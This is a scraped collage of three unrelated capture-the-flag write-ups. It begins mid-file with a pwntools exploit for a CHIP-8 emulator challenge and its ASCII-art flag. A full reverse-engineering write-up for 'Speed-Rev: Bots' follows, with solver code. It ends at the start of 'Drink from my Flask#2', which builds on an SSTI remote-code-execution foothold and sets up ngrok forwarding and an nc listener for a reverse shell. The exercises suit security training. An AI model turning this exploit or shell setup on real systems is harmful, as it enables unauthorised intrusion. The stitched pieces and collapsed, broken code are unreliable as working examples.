gdbscript = '''source ~/Downloads/pwndbg/gdbinit.py'''.format(**locals())
pwn.context.endianness = 'big'
STEP=0
def exp(): io = start()
# every registers are zero-ed at the begin of the program code = [ 0xAFFF, # Annn - LD I, addr, I = 0xfff 0x6111 + 0xf*STEP, # 6xkk - LD Vx, byte, R1 = 0x1F 0xF11E, # ADD I, R1, I => 0x101F 0xDBCF # Write on screen (xored with current pixels) 15 bytes from I ]
code_to_send = [pwn.p16(k) for k in code]
io.sendafter(b"Enter ROM code: ", b"".join(code_to_send)) io.sendline(b"\n") io.sendline(b"\n")
io.sendline(b"\n")
io.interactive()
if __name__ == "__main__": exp()
"""PWNME{CH1p-8_3mu14t0r_1s_h4Ck4bl3_1n_2023_y34h}╔════════════════════════════════════════════════════════════════╗║ █ █ ▄▄▄ ║PW║ █ ██▀▄ ║NM║ █▄▄▄▀▄█ ║E{║ █ ▄ ▀▀ ║CH║ ▄██ ▀ ║18║ █▄█▀ ▀ ║-8║ ▀▄█▀▀██ ║_3║ ▀▀ ▀▀ ▀ m
second part╔════════════════════════════════════════════════════════════════╗║ ██▄▀█ █ ║mu║ ██ ▄ ▀ ║14║ ▀██ ▀ ║t0║ █▀█▄▄█▄ ║r_║ ▄██ ▄█ ║1s║ █▄▀█▀▀▀ ║_h║ ▄▀▀ ▀▄▄ ║4C║ ▀▀ ▀ ▀▀ ║k
part three:════════════════════════════════════════════════════════════════╗║ ▄█▀ ▀▄ ║4b║ ▀█▄▀▀▄▄ ║l3║ ▀▄█▀▀▀█ ║_1║ █▀▄███▄ ║n_║ ██ ▀ ║20║ ██ █▄ ║23║ █▄██▀▀█ ║_y║ ▀▀ ▀▀ 3
part four
║ ▄█▀▄▀ ║4h║ ▀▀▀▀▀ ▀ ║}
"""``` |
# Challenge Name: Speed-Rev: Bots***
## Authors
Author: [osalbahr](https://ctftime.org/user/158966)
Co-Authors: The solution and writeup was a collaboration with [ccrollin](https://ctftime.org/user/84127) and [mmtawous](https://ctftime.org/user/159303).
***
## Challenge
The description (as can be found in CTFtime through [Speed-Rev: Bots](https://ctftime.org/task/25005)):> Welcome to the Speed-Rev battle for your bots! Connect to the socket! Recive binaries! AND GET! THE! FLAGS!>> (There are 6 levels total, you have 3 minutes to complete them all)
There was also a hint about the flags consisting of lowercase letters and numbers.
No files were provided, only a `nc` command. This is typical of CTF challenges that are based on connecting to a server.
## Level 1 - Exploration
```$ nc cha.hackpack.club 41702Welcome to the speedrun challenge! You have 3 minutes to solve 6 levels!Level 1, here is the binary!b'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAcBAAAAAAAABAAAAAAAAAACA6AAAAAAAAAAAAAEAAOAALAEAAHgAdAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAaAIAAAAAAABoAgAAAAAAAAgAAAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAGAAAAAAAAMAYAAAAAAAAAEAAAAAAAAAEAAAAFAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAXQIAAAAAAABdAgAAAAAAAAAQAAAAAAAAAQAAAAQAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAACIAQAAAAAAAIgBAAAAAAAAABAAAAAAAAABAAAABgAAAOgtAAAAAAAA6D0AAAAAAADoPQAAAAAAAFgCAAAAAAAAaAIAAAAAAAAAEAAAAAAAAAIAAAAGAAAA...output... - see https://github.com/osalbahr/ctf-writeups/tree/main/hackpack2023/speed-rev-bots What is the flag?123456781234567Wrong length!```
In the beginning, I thought this was a side channel attack. I tried guessing the length, and successfully found it as follows:
```$ nc cha.hackpack.club 41702Welcome to the speedrun challenge! You have 3 minutes to solve 6 levels!Level 1, here is the binary!What is the flag?b'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAcBAAAAAAAABAAAAAAAAAACA6AAAAAAAAAAAAAEAAOAALAEAAHgAdAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAaAIAAAAAAABoAgAAAAAAAAgAAAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAGAAAAAAAAMAYAAAAAAAAAEAAAAAAAAAEAAAAFAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAXQIAAAAAAABdAgAAAAAAAAAQAAAAAAAAAQAAAAQAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAACIAQAAAAAAAIgBAAAAAAAAABAAAAAAAAABAAAABgAAAOgtAAAAAAAA6D0AAAAAAADoPQAAAAAAAFgCAAAAAAAAaAIAAAAAAAAAEAAAAAAAAAIAAAAGAAAA...output... - see https://github.com/osalbahr/ctf-writeups/tree/main/hackpack2023/speed-rev-bots1234567812345678Wrong!```
So, now we know that the length is 16 bytes. Then I was stuck.
Caleb noticed the on-screen prompt of `Level 1, here is the binary!`, so he tried to place the large amount of text sent after this message into [Cyberchef](https://gchq.github.io/CyberChef/). Cyberchef is an online interative tool that can analyze and manipulate data. One feature of Cyberchef is called `Magic`, where various heuristics are applied to the data to form an output that is most intended. Cyberchef was able to correctly identify this data as being encoded in base64. Base64 is a clever method to represent binary data in such a way that only printable ASCII characters need to be used. When Cyberchef decoded the characters from base64 the following information was displayed.
```ELF??? ? > ? p? @ : @ 8 @ ? ? ? ? @ @ @ h? h? ? ? ? ¨? ¨? ¨? ? ? ? ? ? 0? 0? ? ? ? ? ? ? ]? ]? ? ? ? ˆ? ˆ? ? ? ? è- è= è= X? h? ? ? ? ø- ø= ø= à? à? ? ? ? Ä? Ä? Ä? D D ? Påtd? ? ? ? D D ? Qåtd? ? Råtd? è- è= è= ?? ?? ? /lib64/ld-linux-x86-64.so.2 ? ? ? GNU ? ? ? ? ? GNU Nm6QyìËÞ?‚0?×)C³Y?? ? ? ? ¡ € ? ÑeÎmgUa? ? g ? ? ? ? ? ƒ ’ 0 " ? ? ? @@ ? libc.so.6 strncmp stdin calloc __isoc99_fscanf __cxa_finalize __libc_start_main GLIBC_2.7 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable ? ? ? ? ? ? ? ? ? ? ?ii ? Q ? u?i ? [ è= ? P? ð= ? ?? 8@ ? 8@ Ø? ? ? à? ? ? è? ? ? ð? ? ø? ? ? @@ ? ?@ ? @ ? (@ ? Hƒì?H‹?Ý/ H…Àt?ÿÐHƒÄ?à ÿ5â/ ÿ%ä/ ??@ ÿ%â/ h éàÿÿÿÿ%Ú/ h? éÐÿÿÿÿ%Ò/ h? éÀÿÿÿÿ%’/ f 1íI‰Ñ^H‰âHƒäðPTL?Ê? Hc? H=÷ ÿ?F/ ô??D H=™/ H?’/ H9øt?H‹??/ H…Àt ÿà??€ Ã??€ H=i/ H5b/ H)þHÁþ?H‰ðHÁè?H?ÆHÑþt?H‹?õ. H…Àt?ÿàf??D Ã??€ €=1/ u/UHƒ=Ö. H‰åt?H‹=/ è-ÿÿÿèhÿÿÿÆ? / ?]Ã??€ Ã??€ é{ÿÿÿUH‰åHƒì?H‰}øH‹Eøº? H5“? H‰Çè·þÿÿ…Àt ¸? ë?¸ ÉÃUH‰åHƒì?¾? ¿? è®þÿÿH‰EøH‹EøHÇ HÇ@? Æ@? H‹?|. H‹UøH5F? H‰Ç¸ èdþÿÿH‹EøH‰ÇèmÿÿÿÉÃf??D AWI‰×AVI‰öAUA‰ýATL%à+ UH-à+ SL)åHƒì?èãýÿÿHÁý?t?1Û?? L‰úL‰öD‰ïAÿ?ÜHƒÃ?H9ÝuêHƒÄ?[]A\A]A^A_Ã?? à Hƒì?HƒÄ?à ?x???? ?? ?? ? ðïÿÿ+ ? ?zR ?x???? ?? $ ? pïÿÿ@ ??F??J?w?€ ??;*3$" ? D ˆïÿÿ? ? \ eðÿÿ6 A??†?C?q? ? ? | {ðÿÿ_ A??†?C??Z? ? D œ Àðÿÿ] B???E??Ž?E? ?E?(Œ?H?0†?H?8ƒ G?@j?8A?0A?(B? B??B??B?? ? ä Øðÿÿ? P? ?? ? ? ? ? T? ? è= ? ? ? ð= ? ? õþÿo ?? ? ? ? 0? ¬ ? ? ? @ ? H ? ? è? ?? ? Ø ? ûÿÿo ? þÿÿo à? ÿÿÿo ? ðÿÿo Ì? ùÿÿo ? ø= 6? F? V? 8@ GCC: (Debian 8.3.0-6) 8.3.0 ? ? ¨? ? ? Ä? ? ? ä? ? ? ?? ? ? 0? ? ? ? ? Ì? ? ? à? ? ?? ? è? ? ? ? ? ? ? `? ? ? p? ? ? T? ? ? ? ? ? ? ? ` ? ? è= ? ? ð= ? ? ø= ? ? Ø? ? ? @ ? ? 0@ ? ? @@ ? ? ? ? ñÿ ? ? ? ? ? ? ? Ð? ! ? ? ?? 7 ? ? H@ ? F ? ? ð= m ? ? P? y ? ? è= ˜ ? ñÿ ? ? ñÿ ¡ ? ? „! ? ñÿ ¯ ? ð= À ? ? ø= É ? è= Ü ? ? ï ? ? @ ð? ? ? ?? ? ? P? ? ?? ? *? °? ? 0@ F? ? a? ? ? @@ ? t? ? ? @@ ?? ??? T? {? ? š? ? ®? ? ? 0@ »? Ê? ??? 8@ ×? ? ? ? æ? ? ? ð? ] » ? ? P@ ´? ? ? p? + ö? ? ? U? 6 ÿ? ? ? @@ ? ? ? ‹? _ ?? ??? @@ ?? 6? " crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.7325 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry source.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini strncmp@@GLIBC_2.2.5 _ITM_deregisterTMCloneTable __isoc99_fscanf@@GLIBC_2.7 stdin@@GLIBC_2.2.5 _edata __libc_start_main@@GLIBC_2.2.5 calloc@@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init validate __bss_start main __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .got.plt .data .bss .comment ? ? ? ¨? ¨? ? ? # ? Ä? Ä? ? 1 ? ä? ä? $ ? D öÿÿo? ?? ?? ( ? ? N ? 0? 0? ð ? ? ? ? V ? ? ? ? ¬ ? ^ ÿÿÿo? Ì? Ì? ? ? ? ? k þÿÿo? à? à? 0 ? ? ? z ? ? ?? ?? Ø ? ? ? „ ? B è? è? H ? ? ? ? Ž ? ? ? ? ? ? ‰ ? ? ? ? @ ? ? ” ? ? `? `? ? ? ? ? ? p? p? á? ? £ ? ? T? T? ? © ? ? ? ? ± ? ? ? ? D ? ¿ ? ? ` ` (? ? É ? ? è= è- ? ? ? Õ ? ? ð= ð- ? ? ? á ? ? ø= ø- à? ? ? ? ˜ ? ? Ø? Ø/ ( ? ? ê ? ? @ 0 0 ? ? ó ? ? 0@ 00 ? ? ù ? ? @@ @0 ? ? þ ? 0 @0 ? ? ? ? ? `0 `? ? - ? ? ? À6 R? ? ? ? ?9 ? ? ```
Caleb was able to notice the `ELF` text at the beginning, representing the header to the standard Linux executable file format otherwise known as [executable and linkable format](https://en.wikipedia.org/wiki/Executable_and_Linkable_Format). To get more information about the executable, he saved this Cyberchef output to a file named `level01.elf` and ran the `file` command with it. The Linux `file` command can analyze the metadata and other patterns inside the file to give us a better idea of the type of ELF file.
```bashccrollin@thinkbox ~> file level01.elflevel01.elf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4e6d365179eccbde19828d3017d72943b3597f05, not stripped```
This confirmed that we were trying to reverse a Linux x86-64 ELF file.
Caleb also automated getting the ELF using the `pwntools` library. Specifically, he used the `recvline()` and `sendline()` functions to mimic manual interation with the server. This meant that the ELF binary could be read, fed into a solver program, and then input to reach the next level. This was crucial as the binaries for each level would slightly change each run.
Putting the bytes in ghidra gives us something like the following:

It's clear from here that the function of interest is `validate`.

Well, that's interesting. It looks like the solution is right there, `JS6ClrItTQRJR6e0`.
```$ nc cha.hackpack.club 41702Welcome to the speedrun challenge! You have 3 minutes to solve 6 levels!Level 1, here is the binary!b'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAcBAAAAAAAABAAAAAAAAAACA6AAAAAAAAAAAAAEAAOAALAEAAHgAdAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAaAIAAAAAAABoAgAAAAAAAAgAAAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAGAAAAAAAAMAYAAAAAAAAAEAAAAAAAAAEAAAAFAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAXQIAAAAAAABdAgAAAAAAAAAQAAAAAAAAAQAAAAQAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAACIAQAAAAAAAIgBAAAAAAAAABAAAAAAAAABAAAABgAAAOgtAAAAAAAA6D0AAAAAAADoPQAAAAAAAFgCAAAAAAAAaAIAAAAAAAAAEAAAAAAAAAIAAAAGAAAA...output... - see https://github.com/osalbahr/ctf-writeups/tree/main/hackpack2023/speed-rev-botsWhat is the flag?JS6ClrItTQRJR6e0Wrong!```
How can it be wrong? Mohamed pointed out that the binary is actually randomly generated every time we initiate a connection to the server...
Putting it in ghidra was fine for the [Speed-Rev: Humans](https://ctftime.org/task/25004) version. It's probably also fine for this version of the challenge as well, since we have 6 minutes. But I wanted to fully automate it.
## Level 1 - Solution
```$ strings level1.elf | grep '^[a-zA-Z0-9]\{16\}$'X1haT5hNT9wZ0Uxx```
The above command tries to find a sequence of 16 consecutive bytes that follow the solution's requirements. That was surprisingly sufficient.
## Level 2 - Exploration
After passing Level 1, we get the binary for Level 2. This is true for the remaining levels as well.
```Level 2, here is the binary!b'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBAAAAAAAABAAAAAAAAAAOg5AAAAAAAAAAAAAEAAOAALAEAAHgAdAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAaAIAAAAAAABoAgAAAAAAAAgAAAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPgFAAAAAAAA...output... - see https://github.com/osalbahr/ctf-writeups/tree/main/hackpack2023/speed-rev-botsWhat is the flag?```
Putting it in ghidra, we get

Looking at the disassembly of the function,```$ objdump -zd level2.elf --disassemble=validate
level2.elf: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .text:
0000000000001145 <validate>: 1145: 55 push %rbp 1146: 48 89 e5 mov %rsp,%rbp 1149: 48 89 7d f8 mov %rdi,-0x8(%rbp) 114d: 48 8b 45 f8 mov -0x8(%rbp),%rax 1151: 0f b6 00 movzbl (%rax),%eax 1154: 3c 4f cmp $0x4f,%al 1156: 74 0a je 1162 <validate+0x1d> 1158: b8 01 00 00 00 mov $0x1,%eax 115d: e9 6a 01 00 00 jmp 12cc <validate+0x187> 1162: 48 8b 45 f8 mov -0x8(%rbp),%rax 1166: 48 83 c0 01 add $0x1,%rax 116a: 0f b6 00 movzbl (%rax),%eax 116d: 3c 50 cmp $0x50,%al 116f: 74 0a je 117b <validate+0x36> 1171: b8 01 00 00 00 mov $0x1,%eax 1176: e9 51 01 00 00 jmp 12cc <validate+0x187> 117b: 48 8b 45 f8 mov -0x8(%rbp),%rax 117f: 48 83 c0 02 add $0x2,%rax 1183: 0f b6 00 movzbl (%rax),%eax 1186: 3c 65 cmp $0x65,%al 1188: 74 0a je 1194 <validate+0x4f> 118a: b8 01 00 00 00 mov $0x1,%eax 118f: e9 38 01 00 00 jmp 12cc <validate+0x187> 1194: 48 8b 45 f8 mov -0x8(%rbp),%rax 1198: 48 83 c0 03 add $0x3,%rax 119c: 0f b6 00 movzbl (%rax),%eax 119f: 3c 67 cmp $0x67,%al 11a1: 74 0a je 11ad <validate+0x68> 11a3: b8 01 00 00 00 mov $0x1,%eax 11a8: e9 1f 01 00 00 jmp 12cc <validate+0x187> 11ad: 48 8b 45 f8 mov -0x8(%rbp),%rax 11b1: 48 83 c0 04 add $0x4,%rax 11b5: 0f b6 00 movzbl (%rax),%eax 11b8: 3c 4f cmp $0x4f,%al 11ba: 74 0a je 11c6 <validate+0x81> 11bc: b8 01 00 00 00 mov $0x1,%eax 11c1: e9 06 01 00 00 jmp 12cc <validate+0x187> 11c6: 48 8b 45 f8 mov -0x8(%rbp),%rax 11ca: 48 83 c0 05 add $0x5,%rax 11ce: 0f b6 00 movzbl (%rax),%eax 11d1: 3c 6d cmp $0x6d,%al 11d3: 74 0a je 11df <validate+0x9a> 11d5: b8 01 00 00 00 mov $0x1,%eax 11da: e9 ed 00 00 00 jmp 12cc <validate+0x187> 11df: 48 8b 45 f8 mov -0x8(%rbp),%rax 11e3: 48 83 c0 06 add $0x6,%rax 11e7: 0f b6 00 movzbl (%rax),%eax 11ea: 3c 33 cmp $0x33,%al 11ec: 74 0a je 11f8 <validate+0xb3> 11ee: b8 01 00 00 00 mov $0x1,%eax 11f3: e9 d4 00 00 00 jmp 12cc <validate+0x187> 11f8: 48 8b 45 f8 mov -0x8(%rbp),%rax 11fc: 48 83 c0 07 add $0x7,%rax 1200: 0f b6 00 movzbl (%rax),%eax 1203: 3c 6c cmp $0x6c,%al 1205: 74 0a je 1211 <validate+0xcc> 1207: b8 01 00 00 00 mov $0x1,%eax 120c: e9 bb 00 00 00 jmp 12cc <validate+0x187> 1211: 48 8b 45 f8 mov -0x8(%rbp),%rax 1215: 48 83 c0 08 add $0x8,%rax 1219: 0f b6 00 movzbl (%rax),%eax 121c: 3c 6c cmp $0x6c,%al 121e: 74 0a je 122a <validate+0xe5> 1220: b8 01 00 00 00 mov $0x1,%eax 1225: e9 a2 00 00 00 jmp 12cc <validate+0x187> 122a: 48 8b 45 f8 mov -0x8(%rbp),%rax 122e: 48 83 c0 09 add $0x9,%rax 1232: 0f b6 00 movzbl (%rax),%eax 1235: 3c 76 cmp $0x76,%al 1237: 74 0a je 1243 <validate+0xfe> 1239: b8 01 00 00 00 mov $0x1,%eax 123e: e9 89 00 00 00 jmp 12cc <validate+0x187> 1243: 48 8b 45 f8 mov -0x8(%rbp),%rax 1247: 48 83 c0 0a add $0xa,%rax 124b: 0f b6 00 movzbl (%rax),%eax 124e: 3c 68 cmp $0x68,%al 1250: 74 07 je 1259 <validate+0x114> 1252: b8 01 00 00 00 mov $0x1,%eax 1257: eb 73 jmp 12cc <validate+0x187> 1259: 48 8b 45 f8 mov -0x8(%rbp),%rax 125d: 48 83 c0 0b add $0xb,%rax 1261: 0f b6 00 movzbl (%rax),%eax 1264: 3c 5a cmp $0x5a,%al 1266: 74 07 je 126f <validate+0x12a> 1268: b8 01 00 00 00 mov $0x1,%eax 126d: eb 5d jmp 12cc <validate+0x187> 126f: 48 8b 45 f8 mov -0x8(%rbp),%rax 1273: 48 83 c0 0c add $0xc,%rax 1277: 0f b6 00 movzbl (%rax),%eax 127a: 3c 4c cmp $0x4c,%al 127c: 74 07 je 1285 <validate+0x140> 127e: b8 01 00 00 00 mov $0x1,%eax 1283: eb 47 jmp 12cc <validate+0x187> 1285: 48 8b 45 f8 mov -0x8(%rbp),%rax 1289: 48 83 c0 0d add $0xd,%rax 128d: 0f b6 00 movzbl (%rax),%eax 1290: 3c 7a cmp $0x7a,%al 1292: 74 07 je 129b <validate+0x156> 1294: b8 01 00 00 00 mov $0x1,%eax 1299: eb 31 jmp 12cc <validate+0x187> 129b: 48 8b 45 f8 mov -0x8(%rbp),%rax 129f: 48 83 c0 0e add $0xe,%rax 12a3: 0f b6 00 movzbl (%rax),%eax 12a6: 3c 42 cmp $0x42,%al 12a8: 74 07 je 12b1 <validate+0x16c> 12aa: b8 01 00 00 00 mov $0x1,%eax 12af: eb 1b jmp 12cc <validate+0x187> 12b1: 48 8b 45 f8 mov -0x8(%rbp),%rax 12b5: 48 83 c0 0f add $0xf,%rax 12b9: 0f b6 00 movzbl (%rax),%eax 12bc: 3c 67 cmp $0x67,%al 12be: 74 07 je 12c7 <validate+0x182> 12c0: b8 01 00 00 00 mov $0x1,%eax 12c5: eb 05 jmp 12cc <validate+0x187> 12c7: b8 00 00 00 00 mov $0x0,%eax 12cc: 5d pop %rbp 12cd: c3 ret
Disassembly of section .fini:```
it becomes clear that the needed bytes are in every `cmp`. Luckily, there's only 16 `cmp` instructions in the function.
```$ objdump -zd level2.elf --disassemble=validate | grep cmp 1154: 3c 4f cmp $0x4f,%al 116d: 3c 50 cmp $0x50,%al 1186: 3c 65 cmp $0x65,%al 119f: 3c 67 cmp $0x67,%al 11b8: 3c 4f cmp $0x4f,%al 11d1: 3c 6d cmp $0x6d,%al 11ea: 3c 33 cmp $0x33,%al 1203: 3c 6c cmp $0x6c,%al 121c: 3c 6c cmp $0x6c,%al 1235: 3c 76 cmp $0x76,%al 124e: 3c 68 cmp $0x68,%al 1264: 3c 5a cmp $0x5a,%al 127a: 3c 4c cmp $0x4c,%al 1290: 3c 7a cmp $0x7a,%al 12a6: 3c 42 cmp $0x42,%al 12bc: 3c 67 cmp $0x67,%al$ objdump -zd level2.elf --disassemble=validate | grep cmp | wc -l16```
***## Level 2 - Solution
We decided to use `pwntools` to automate getting the ELF. I couldn't think of a better way than to use `objdump` and `grep` in `python` other than using `os.system()`. I know that this is probably not a good idea, but it works. Then from there we get the solution string.
```pythonos.system("objdump -zd level2.elf --disassemble=validate | grep cmp | grep -o '0x..' | cut -c 3- > hexvals3.txt")
lev2str = ''with open("hexvals3.txt", "r") as fp: for hexval in fp: lev2str += chr(int(hexval, 16))```
## Level 3 - Exploration
```Level 3, here is the binary!b'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBAAAAAAAABAAAAAAAAAAOg5AAAAAAAAAAAAAEAAOAALAEAAHgAdAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAaAIAAAAAAABoAgAAAAAAAAgAAAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPgFAAAAAAAA...output... - see https://github.com/osalbahr/ctf-writeups/tree/main/hackpack2023/speed-rev-botsWhat is the flag?```

***
## Level 3 - Solution
The same as Level 2.
***
## Level 4 - Exploration
```Level 4, here is the binary!b'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBAAAAAAAABAAAAAAAAAAOg5AAAAAAAAAAAAAEAAOAALAEAAHgAdAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAaAIAAAAAAABoAgAAAAAAAAgAAAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPgFAAAAAAAA...output... - see https://github.com/osalbahr/ctf-writeups/tree/main/hackpack2023/speed-rev-botsWhat is the flag?```
This is what the disassembly looks like:

To me, the pattern started to look like systems of linear equations. This is great for `z3`, but we weren't able to get it to only give ascii solutions.
***
## Level 4 - Solution
The objective of this solver is to find a 16-byte password that can go through all the compares and additions without failing. To do this we guess the first char and subtract from the value we are comparing against to get the value at the next index. We verify that the received char from the subtraction is a letter or number and if it is NOT then we increment the starting char, making sure the char is still an alphanumeric. We keep iterating until we have successfully gone through all the subtractions verifying that the results are still alphanumeric characters.
To summarize, the solution is try out assuming `result[0] = '0'` and if that results in a contradiction we backtrack and try subsequent alphanumeric characters up to `'z'`.
Mohamed solved Level 4 using `Java`.
```import java.util.*;
public class Solve { public static void main(String[] args) { if (args[0].equals("4")) { level4(); }
}
public static void level4() { // There are always 15 cmp instructions so we grep for them in the pwntools // script and read them from stdin here int[] nums = new int[15]; Scanner scnr = new Scanner(System.in); int x = 0; while (scnr.hasNext()) { nums[x++] = scnr.nextInt(16); }
// We allocate an array of 16 ints for the 16 char password int[] result = new int[16];
// We set the first character the be the first possible ASCII char // which happens to be 'A' result[0] = 48;
while (true) {
// Loop through all the numbers recieved from stdin for (int i = 0; i < nums.length; i++) { // Perform the subtraction to get the next index of our password int curr = nums[i] - result[i];
// Check if the character is alpanumeric if (!Character.isAlphabetic((char) curr) && !Character.isDigit((char) curr)) { break; } else { // Place the character if its valid in our result result[i + 1] = curr; }
// Check if this is the last index and if so print out the result and exit. if (i == nums.length - 1) { for (int j = 0; j < result.length; j++) { System.out.print((char) result[j]); } System.out.println(); System.exit(0); } }
// If we broke out of the for loop we end up here where we increment the first // char in the result (our next guess) and make sure that character is still valid. result[0]++; if (result[0] == 58) { result[0] = 65; } else if (result[0] == 91) { result[0] = 97; } else if (result[0] > 122) { // If we reach the last valid character then we couldn't find a solution // so we break out of the while loop and exit. System.out.println("No solution found!"); break; }
} }}```
***
## Level 5 - Exploration
```Level 5, here is the binary!54411b'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBAAAAAAAABAAAAAAAAAAOg5AAAAAAAAAAAAAEAAOAALAEAAHgAdAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAaAIAAAAAAABoAgAAAAAAAAgAAAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPgFAAAAAAAA...output... - see https://github.com/osalbahr/ctf-writeups/tree/main/hackpack2023/speed-rev-botsWhat is the flag?```
Putting it in ghidra, we got that it is also a system of equations.

The catch is that the equations shift and fluctuate (took us a while to realize and debug).
***
## Level 5 - Solution
The solution depends on extracting the following pattern by looking at the interleaving of the `cmp` and `add` commands in the `objdump`:
```1) there are many regions of "plain" statements and "addition" if statements in any order. At least one of each type
2) Plain statements start at index 0 if it's in the beginning
3) Addition statements start at index 0 if it is in the beginning as well
4) falling plain -> addition, the first addition starts at a new index. For a plain statement, the value of the byte is directly given
5) falling addition -> plain, the first plain starts where the last addition ended. This is useful to take this value and "trickle up"```
For the full solution, see `level5-solver.cpp` below.
***
## Level 6
The same as Level 5
## Final Solution
Putting it all together,
```$ time { time make && time ./level6.py; } g++ -Wall -g3 -O3 level5-solver.cpp -o level5-solverjavac Solve.java
real 0m1.702suser 0m2.172ssys 0m0.157s[+] Opening connection to cha.hackpack.club on port 41702: Donelevel1 = QFsChqAEUnoAlu2Qlevel2 = FAmp41JkTPaPPjzElevel3 = 0NFVptnpEVsro47Mlevel4 = 0YeoFfDV5mLIQ8talevel5 = hMK5UxzSyzMVZ47Wlevel6 = Ni4HxMZDGCvUIbSDCongrats! Here is your flag!flag{speedruns_are_aw3s0m3_4nd_4ll}[*] Closed connection to cha.hackpack.club port 41702
real 0m1.683suser 0m0.305ssys 0m0.088s
real 0m3.385suser 0m2.477ssys 0m0.245s```
## Files
[`level6.py`](https://github.com/osalbahr/ctf-writeups/blob/main/hackpack2023/speed-rev-bots/level6.py) - Automate solving all levels 1-6
[`Solve.java`](https://github.com/osalbahr/ctf-writeups/blob/main/hackpack2023/speed-rev-bots/Solve.java) - Solves Level 4
[`level5-solver.cpp`](https://github.com/osalbahr/ctf-writeups/blob/main/hackpack2023/speed-rev-bots/level5-solver.cpp) - Solves `$(echo "Level "{5,6})`
[`Makefile`](https://github.com/osalbahr/ctf-writeups/blob/main/hackpack2023/speed-rev-bots/Makefile) - Compiles `Solve.java` and `level5-solver.cpp`
## Environment
To setup for the scripts, I needed to run the following:
`$ sudo apt update && sudo apt install -y python3-pip default-jdk && pip install pwn`
Note: `default-jdk` is optional. It is only to be able to pre-compile `Solve.java`. Using `java Solve.java`, which compiles and runs the program each time, is sufficient. This is purely for benchmarking purposes.
## Acknowledgemnt
Special thanks to the NCSU's [Virtual Computing Lab (VCL)](https://vcl.ncsu.edu/). Most of the development was done on their `Ubuntu 22.04 LTS` image. |
# Drink from my Flask#2
## Background
Great job, you got acces to the machine ! But our dev has been working on an update. Can you leverage that to elevate your privileges ? Format : **Hero{flag}** Author : **Log_s** NB: This challenge is a sequel to Drink from my Flask #1. Start the same machine and continue from there.

## Enumeration
**Remote Code Execute (RCE) via Server-Side Template Injection (SSTI) payload from "Drink from my Flask#1":** (Writeup: [https://siunam321.github.io/ctf/HeroCTF-v5/Web/Drink-from-my-Flask-1/](https://siunam321.github.io/ctf/HeroCTF-v5/Web/Drink-from-my-Flask-1/))
- Setup a port forwarding service like Ngrok:
```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:13:16(HKT)]└> ngrok tcp 4444[...]Forwarding tcp://0.tcp.ap.ngrok.io:15516 -> localhost:4444[...]```
- Setup a `nc` listener:
